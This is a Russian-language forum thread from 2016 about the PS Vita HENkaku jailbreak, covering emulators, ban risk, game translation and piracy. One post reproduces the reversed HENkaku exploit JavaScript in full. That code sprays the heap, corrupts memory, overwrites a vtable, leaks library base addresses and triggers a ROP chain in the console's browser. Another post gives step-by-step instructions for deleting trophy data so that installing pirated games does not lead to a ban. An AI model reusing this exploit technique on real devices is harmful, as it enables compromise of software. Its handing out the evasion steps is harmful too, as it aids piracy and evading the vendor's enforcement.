Архив Архив устаревших тем
03.08.2016, 10:29
Сообщение: #1 (1104202)
Регистрация: 09.08.2008
Сообщений: 1,001
Вы сказали Спасибо: 47
Поблагодарили 346 раз(а) в 206 сообщениях
Сила репутации:
1 Репутация: 350  
(как роза среди колючек)
Ну-ну. Там гораздо больше в бэкграунде всего происходит и отправляется на серверы, чем в этом списке для хомячков. Риск остается. Делали так уже на PS3.
04.08.2016, 09:19
Сообщение: #2 (1104204)
Регистрация: 31.07.2016
Возраст: 31
Сообщений: 230
Вы сказали Спасибо: 2
Поблагодарили 3 раз(а) в 3 сообщениях
Сила репутации:
0 Репутация: -60  
(презирают в этих краях)
Я полностью поддерживаю:riku.kh3!!Поэтому смысл в этих хомках??Т.к лучше-бы реально Виту ломанули-бы чем заниматься запуском хомок ,на Вите!!Т.к ведь в хомки даже ,на ПС3 любой взломанной для пираток можно сыграть!Т.к ведь Вита уже пылится без взлома 6й год у хакеров
!
Vlad510 добавил 04.08.2016 в 09:19
Пожалуйстааа,не молчите ,на мой вопросик!
Последний раз редактировалось Vlad510; 04.08.2016 в 09:19 .
Причина: добавил, подумав
04.08.2016, 13:00
Сообщение: #3 (1104221)
Модель консоли: PSP, PS3, PSV3g
Прошивка: 6.60PRO, 4.30R, 2.02
Другие консоли: PSVita 3G, PS3 2508
Регистрация: 06.11.2007
Адрес: Воронеж
Возраст: 40
Сообщений: 113
Вы сказали Спасибо: 7
Поблагодарили 41 раз(а) в 25 сообщениях
Сила репутации:
1 Репутация: 41  
(на пути к лучшему)
Vlad510 так можно и про авто говорить, нафига вы им колеса прикручиваете, дела ли бы сразу парящими над землей.
Данный хак позволяет в режиме ридонли пощупать кишки системы. дальше-больше. вон sega saturn спустя 20 лет ломанули, 6 лет - ни о чем))
Эти 2 пользователя(ей) сказали Спасибо acidant за это полезное сообщение:
04.08.2016, 15:59
Сообщение: #4 (1104224)
Модель консоли: PSVita PCH-1004
Прошивка: 3.60
Регистрация: 09.11.2008
Адрес: Забыл)
Возраст: 31
Сообщений: 378
Вы сказали Спасибо: 559
Поблагодарили 245 раз(а) в 126 сообщениях
Сила репутации:
1 Репутация: 244  
(весьма и весьма положительная личность)
Так если отвязать виту от учётки, и сбросить к заводским настройкам, а потом банально не указывать свои учётные данные в консоли... то никто никого не забанит, разве нет?
04.08.2016, 22:29
Сообщение: #5 (1104228)
Модель консоли: 3008 Clear Miku
Прошивка: 6.60 LME
Другие консоли: PSOne, Денди c пистолетами >:D, iPod touch 5g 32Gb, iPad mini 16Gb
Регистрация: 20.07.2009
Адрес: Муром
Возраст: 31
Сообщений: 2,544
Вы сказали Спасибо: 1,046
Поблагодарили 1,042 раз(а) в 674 сообщениях
Сила репутации:
1 Репутация: 1042  
(просто великолепная личность)
По эмуляторам SNES:
catsfc_plus_libretro намного быстрее Snes9xVITA.
У последнего просадки в Зельде 10-15фпс иногда. И почти всегда лагающий звук. На первом проблем не вижу от слова вообще.
Ещё б XMB завезти в RetroArch для Виты "из коробки"
Этот пользователь сказал Спасибо COOLERbyPSP за это полезное сообщение:
05.08.2016, 01:51
Сообщение: #6 (1104229)
Прошивка: 1xPS3 COBRA CEX-4.53
Другие консоли: 2xPSVITA 3.60 ENSO
Регистрация: 16.01.2008
Адрес: Планета земля
Сообщений: 3,183
Вы сказали Спасибо: 1,109
Поблагодарили 2,790 раз(а) в 1,177 сообщениях
Сила репутации:
1 Репутация: 2799  
(репутация неоспорима)
Henkaku exploit - HTML reversed
http://pastebin.com/bYA4xGaQ
The reconstructed payload can be find here:
payload.bin (2.85 KB)
And an analysis of the payload's binary data can be found here:
http://pastebin.com/gxc0cX1i
reversed
<****** src='payload.js'></******>
<******>
var r, a, e, t, n, o, l, i, f, v, s, c;
var u, y, w, p, d, g, h, k, b;
var A, U;
var m = 0x40 + payload[16/4]; /* 0x40 bytes for ROP header + 1840 bytes for stack*/
m /= 4; /* 476 */
var _dview = null;
/*
Wrap two uint32s into double precision
*/
function u2d(low, hi)
{
if (!_dview)
_dview = new DataView(new ArrayBuffer(16));
_dview.setUint32(0, hi);
_dview.setUint32(4, low);
return _dview.getFloat64(0)
}
/*
Unwrap uints from double
*/
function d2u(d)
{
if (!_dview)
_dview = new DataView(new ArrayBuffer(16));
_dview.setFloat64(0, d);
return {low:_dview.getUint32(4),hi:_dview.getUint32(0)}
}
// Temporary space to store Element object
var aspace_temp = new Uint32Array(1024);
var word1 = 0;
var word2 = 0;
function swap(offset)
{
word1 = aspace32[offset/4];
word2 = aspace32[offset/4 + 1];
return((word1 & 0xFFF | (word1 & 0xF0000) >> 4) & 0xFFFF | ((word2 & 0xFFF | (word2 & 0xF0000) >> 4) & 0xFFFF) << 16) >>> 0
}
r = 0x4000;
textareas = new Array(r);
aspace_arr = new Array(r);
t = 0x1344;
n = 0x66656463;
o = 0x55555555;
for (var i = 0; i < aspace_arr.length; ++i)
{
aspace_arr[i] = new Uint32Array(0x1344/4);
var e = document.createElement("textarea");
e.rows = 0x66656463;
textareas[i] = e;
}
/*
Spray memory with Element objects
*/
for (var i = 0; i < 1024; ++i)
{
var e = document.createElement("textarea");
e.rows = 0x66656463;
textareas.push(e);
}
var N = 0x3000;
var W = Array.prototype.constructor.apply(null,new Array(0x3000));
var j = 2048;
var q = new Array(2048);
var z = {};
var C = new Array(256);
z.toString = function()
{
W.push(12345);
for (var r = 0; r < C.length; ++r)
{
var a = Array.prototype.constructor.apply(null, q);
a[0] = 0;
a[1] = 1;
a[2] = 2;
C[r] = a;
} return""
};
W[0] = z;
var G = u2d(0x80000000, 0x80000000);
for (var i = 1; i < 8192; ++i)
W[i] = G;
W.sort();
contents = "";
cur = 0;
z.toString = function(){};
var I = null;
for (var i = 0; i < C.length; ++i)
{
if(C[i].length != j)
{
I = C[i];
break;
}
}
var count = 0x20000000 - 0x11000;
for(; ; count--)
{
if(I[count] != 0)
{
_dview.setFloat64(0, I[J]);
if (_dview.getUint32(0) == t/4)
{
_dview.setUint32(0, 0xEFFFFFE0);
I[J] = _dview.getFloat64(0);
_dview.setFloat64(0, I[J - 2]);
v = _dview.getUint32(4);
_dview.setUint32(4, 0);
_dview.setUint32(0, 0x80000000);
I[J-2] = _dview.getFloat64(0);
break;
}
}
}
target_aspace = null;
for (var i = 0; i < aspace_arr.length; ++i)
{
if(aspace_arr[i].byteLength != t)
{
target_aspace = aspace_arr[i];
break;
}
}
if (!target_aspace)
{
alert("failed");
while(1){};
}
var aspace32 = target_aspace;
var fkvtable = v;
f = v;
/*
Find one of the sprayed Element objects in memory
by looking for the rows of the object
*/
for (var addr = f/4; addr < f/4 + 0x4000; ++addr)
{
if (aspace32[addr] == 0x66656463)
{
aspace32[addr] = 0x55555555;
textarea_addr = addr * 4;
found_element = true;
break;
}
}
if (!found_element)
{
alert("Did not find Element signature");
while(1){};
}
/*
Change the rows of the Element object then scan the array of
sprayed objects to find an object whose rows have been changed
*/
var found_corrupted = false;
var corrupted_textarea;
for (var i = 0; i < textareas.length; ++i)
{
if(textareas[i].rows == 0x55555555)
{
corrupted_textarea = textareas[i];
found_corrupted = true;
break;
}
}
if (!found_corrupted)
{
alert("Did not find corrupted textarea");
while(1){};
}
var vtidx = textarea_addr - 0x70;
var textareavptr = aspace32[vtidx/4];
scewkbase = textareavptr - 0xABB65C;
scelibcbase = swap(scewkbase + 0x85F504) - 0xFA49;
scekernbase = swap(scewkbase + 0x85F464) - 0x9031;
p = swap(scewkbase + 0x85D2E4) - 0x22D65;
d = swap(p + 0x2C688C) - 0x9E5;
g = swap(d + 0x3BC4) - 0xDC2D;
scenetbase = swap(scewkbase + 0x85F414) - 0x23ED;
k = swap(g + 0x18BF4) - 0xD59;
b = swap(k + 0x9AB8) - 0x49CD;
// Copy vtable
for (var i = 0; i < 64; i++)
aspace32[fkvtable/4 + i] = aspace32[textareavptr/4 + i];
aspace32[vtidx/4] = fkvtable;
// Save Element object
for (var i = 0; i < 0x30; ++i)
aspace_temp[i] = aspace32[vtidx/4 + i];
// Call setjmp
aspace32[fkvtable/4 + 0x4E] = scelibcbase + 0x14070|1;
// Undefine scrollLeft
corrupted_textarea.scrollLeft = 0;
// Save payload address (jmp context)
payload_addr = (aspace32[vtidx/4 + 8] ^ (aspace32[vtidx/4 + 9] ^ u + 0x317929) >>> 0) >>> 0;
payload_addr -= 0xEF818;
// Restore Element object
for (var i = 0; i < 0x30; ++i)
aspace32[vtidx/4 + i] = aspace_temp[i];
payload_stack = payload_addr + 0x40;
payload_code = payload_addr + 0x10000;
payload_off = payload_addr/4;
// Build ROP payload
for (var i = 0; i < payload.length; ++i,++payload_off)
{
// Reached the end of ROP header (first 0x770 bytes)
if (i == 476)
payload_off = payload_code/4;
switch(relocs[i])
{
case 0:
aspace32[payload_off] = payload[i];
break;
case 1:
aspace32[payload_off] = payload[i] + payload_stack;
break;
case 2:
aspace32[payload_off] = payload[i] + scewkbase;
break;
case 3:
aspace32[payload_off] = payload[i] + scekernbase;
break;
case 4:
aspace32[payload_off] = payload[i] + scelibcbase;
break;
case 5:
aspace32[payload_off] = payload[i] + g;
break;
case 6:
aspace32[payload_off] = payload[i] + scenetbase;
break;
case 7:
aspace32[payload_off] = payload[i] + b;
break;
default:
alert("wtf?");
alert(i + " " + relocs[i])
}
}
// Trigger ROPchain
aspace32[fkvtable/4 + 0x4E] = scewkbase + 0x54C8; /* LDM R1 gadget */
var rchainaddr = fkvtable + 0x100;
aspace32[rchainaddr/4 + 5] = payload_code;
aspace32[rchainaddr/4 + 6] = scewkbase + 0xC048A|1;
alert("Welcome to HENkaku!");
// Set scrollLeft to ROP chain
corrupted_textarea.scrollLeft = rchainaddr;
alert("that's it");
</******>
Эти 2 пользователя(ей) сказали Спасибо akela1979 за это полезное сообщение:
05.08.2016, 17:29
Сообщение: #7 (1104240)
Модель консоли: 3008 Clear Miku
Прошивка: 6.60 LME
Другие консоли: PSOne, Денди c пистолетами >:D, iPod touch 5g 32Gb, iPad mini 16Gb
Регистрация: 20.07.2009
Адрес: Муром
Возраст: 31
Сообщений: 2,544
Вы сказали Спасибо: 1,046
Поблагодарили 1,042 раз(а) в 674 сообщениях
Сила репутации:
1 Репутация: 1042  
(просто великолепная личность)
08.08.2016, 18:26
Сообщение: #8 (1104268)
Регистрация: 01.10.2014
Возраст: 29
Сообщений: 24
Вы сказали Спасибо: 1
Поблагодарили 4 раз(а) в 2 сообщениях
Сила репутации:
1 Репутация: 3  
(с надеждой на лучшее)
08.08.2016, 20:54
Сообщение: #9 (1104269)
Регистрация: 09.08.2008
Сообщений: 1,001
Вы сказали Спасибо: 47
Поблагодарили 346 раз(а) в 206 сообщениях
Сила репутации:
1 Репутация: 350  
(как роза среди колючек)
Сообщение от
Mishanstvo
Ну вот, EBOOT и PRX-модули в незакриптованном FSELF формате. То, что доктор прописал.
Может мотивирует кого-нибудь покопать в сторону декриптовки подписанного контента.
10.08.2016, 19:54
Сообщение: #10 (1104298)
Регистрация: 09.08.2008
Сообщений: 1,001
Вы сказали Спасибо: 47
Поблагодарили 346 раз(а) в 206 сообщениях
Сила репутации:
1 Репутация: 350  
(как роза среди колючек)
Эти 2 пользователя(ей) сказали Спасибо riku.kh3 за это полезное сообщение:
11.08.2016, 18:00
Сообщение: #11 (1104314)
Модель консоли: slim/lite
Прошивка: 6.60 ME
Другие консоли: N3DS + GW, NDSi, PSV WiFi
Регистрация: 27.11.2006
Адрес: vk.com/lupus_ua
Сообщений: 1,298
Вы сказали Спасибо: 280
Поблагодарили 638 раз(а) в 337 сообщениях
Сила репутации:
1 Репутация: 604  
(луч света в тёмном царстве)
riku.kh3 , отличный анч на 2 метра 🙃
Сдампил и разобрал картриджную версию Gravity Rush, теперь бы попробовать собрать назад и подсунуть в виде патча. Если заведётся - можно разбирать формат хранения текста и переводить на русский...
Количество сообщений на форуме далеко не всегда пропорционально умственным способностям человека.
>>>
Silent Hill: Genesis <<<
Эти 2 пользователя(ей) сказали Спасибо lupus за это полезное сообщение:
11.08.2016, 19:11
Сообщение: #12 (1104322)
Регистрация: 01.10.2014
Возраст: 29
Сообщений: 24
Вы сказали Спасибо: 1
Поблагодарили 4 раз(а) в 2 сообщениях
Сила репутации:
1 Репутация: 3  
(с надеждой на лучшее)
lupus , очень жду перевода) на 4pda есть ветка с уже готовым переводом.
11.08.2016, 16:34
Сообщение: #13 (1104309)
Модель консоли: PSP-3004
Регистрация: 16.07.2012
Возраст: 28
Сообщений: 13
Вы сказали Спасибо: 0
Поблагодарили 0 раз(а) в 0 сообщениях
Сила репутации:
0 Репутация: 0  
(пока ничем не отличился)
Доступны инструменты для устоновки henkaku в оффлайне с виты. И по взлому: Henkaku команда говорила, что отдаст исходники раскодировавшим полностью их эксплоит. Как они утверждают, на эту раскодировку уйдет минимум несколько месяцев. И это только раскодировка, про взлом drm вообще наверно забыть можно на несколько лет. Кароче, ставим все 3.60 с оффлайн хенкаку и кладём виту еще на неопределённый срок на полку.
11.08.2016, 23:46
Сообщение: #14 (1104324)
Модель консоли: PSVita
Прошивка: 1.69
Другие консоли: vita
Регистрация: 17.10.2008
Возраст: 52
Сообщений: 46
Вы сказали Спасибо: 0
Поблагодарили 8 раз(а) в 5 сообщениях
Сила репутации:
1 Репутация: 8  
(с надеждой на лучшее)
В этом HENkaku спрятан ядреный эксплойт чтоль?
Cepera добавил 11.08.2016 в 23:46
Время приключений работает, анчартед - нет, ошибка C1-2613-2
Последний раз редактировалось Cepera; 11.08.2016 в 23:46 .
Причина: добавил, подумав
12.08.2016, 01:02
Сообщение: #15 (1104327)
Модель консоли: PSP-3004
Регистрация: 16.07.2012
Возраст: 28
Сообщений: 13
Вы сказали Спасибо: 0
Поблагодарили 0 раз(а) в 0 сообщениях
Сила репутации:
0 Репутация: 0  
(пока ничем не отличился)
Cepera , станет понятно после полного разбора кода. По слухам - да, возможно таки карнел.
12.08.2016, 09:39
Сообщение: #16 (1104329)
Регистрация: 01.10.2014
Возраст: 29
Сообщений: 24
Вы сказали Спасибо: 1
Поблагодарили 4 раз(а) в 2 сообщениях
Сила репутации:
1 Репутация: 3  
(с надеждой на лучшее)
vampula , а можно ссылку где ведутся эти работы?
12.08.2016, 11:48
Сообщение: #17 (1104334)
Модель консоли: PSP-3004
Регистрация: 16.07.2012
Возраст: 28
Сообщений: 13
Вы сказали Спасибо: 0
Поблагодарили 0 раз(а) в 0 сообщениях
Сила репутации:
0 Репутация: 0  
(пока ничем не отличился)
12.08.2016, 11:59
Сообщение: #18 (1104335)
Модель консоли: slim/lite
Прошивка: 6.60 ME
Другие консоли: N3DS + GW, NDSi, PSV WiFi
Регистрация: 27.11.2006
Адрес: vk.com/lupus_ua
Сообщений: 1,298
Вы сказали Спасибо: 280
Поблагодарили 638 раз(а) в 337 сообщениях
Сила репутации:
1 Репутация: 604  
(луч света в тёмном царстве)
Пошаговый мануал по удалению трофеев игры Adventure Time во избежание бана за установку вареза.
1. Запускаем molecularshell или vitashell 0.7
2. Удаляем с консоли следующие папки:
ur0:user/00/trophy/conf/NPWR07969_00
ur0:user/00/trophy/data/NPWR07969_00
ur0:user/00/trophy/data/sce_trop
3. Выходим в livearea и запускаем системное приложение "Призы"
4. Видим сообщение о восстановлении информации о трофеях и ждём окончания процесса
5. Все трофеи, за исключение полученных в Adventure Time будут восстановлены.
Надо бы написать автору History deleter'а, чтобы добавил данную опцию в софтинку или самому попробовать поковырять его сырцы.
Количество сообщений на форуме далеко не всегда пропорционально умственным способностям человека.
>>>
Silent Hill: Genesis <<<
12.08.2016, 16:44
Сообщение: #19 (1104338)
Регистрация: 01.10.2014
Возраст: 29
Сообщений: 24
Вы сказали Спасибо: 1
Поблагодарили 4 раз(а) в 2 сообщениях
Сила репутации:
1 Репутация: 3  
(с надеждой на лучшее)
А почему только 333 и 444 Мгц? Почему нельзя работать на других частотах? Если будет полный взлом, будет доступ ко всему процессору?
12.08.2016, 22:54
Сообщение: #20 (1104345)
Модель консоли: 3008 Clear Miku
Прошивка: 6.60 LME
Другие консоли: PSOne, Денди c пистолетами >:D, iPod touch 5g 32Gb, iPad mini 16Gb
Регистрация: 20.07.2009
Адрес: Муром
Возраст: 31
Сообщений: 2,544
Вы сказали Спасибо: 1,046
Поблагодарили 1,042 раз(а) в 674 сообщениях
Сила репутации:
1 Репутация: 1042  
(просто великолепная личность)
Сообщение от
Mishanstvo
Если будет полный взлом, будет доступ ко всему процессору?
Вполне возможно. Особо радоваться, впрочем, тоже не стоит, ибо это грозит повышением энергопотребления и тепловыделения.
Ладно ещё PS TV можно разобрать и радиатор поставить, а вот с обычной версией, скорее всего, ничего не сделать.
Здесь присутствуют: 1 (пользователей: 0 , гостей: 1)
Ваши права в разделе
Вы не можете создавать новые темы
Вы не можете отвечать в темах
Вы не можете прикреплять вложения
Вы не можете редактировать свои сообщения
HTML код Выкл.
Текущее время: 23:17 . Часовой пояс GMT +3.
Powered by vBulletin® Version 3.8.7
Copyright ©2000 - 2025, vBulletin Solutions, Inc. Перевод:
zCarot
PSPx Forum - Сообщество фанатов игровых консолей.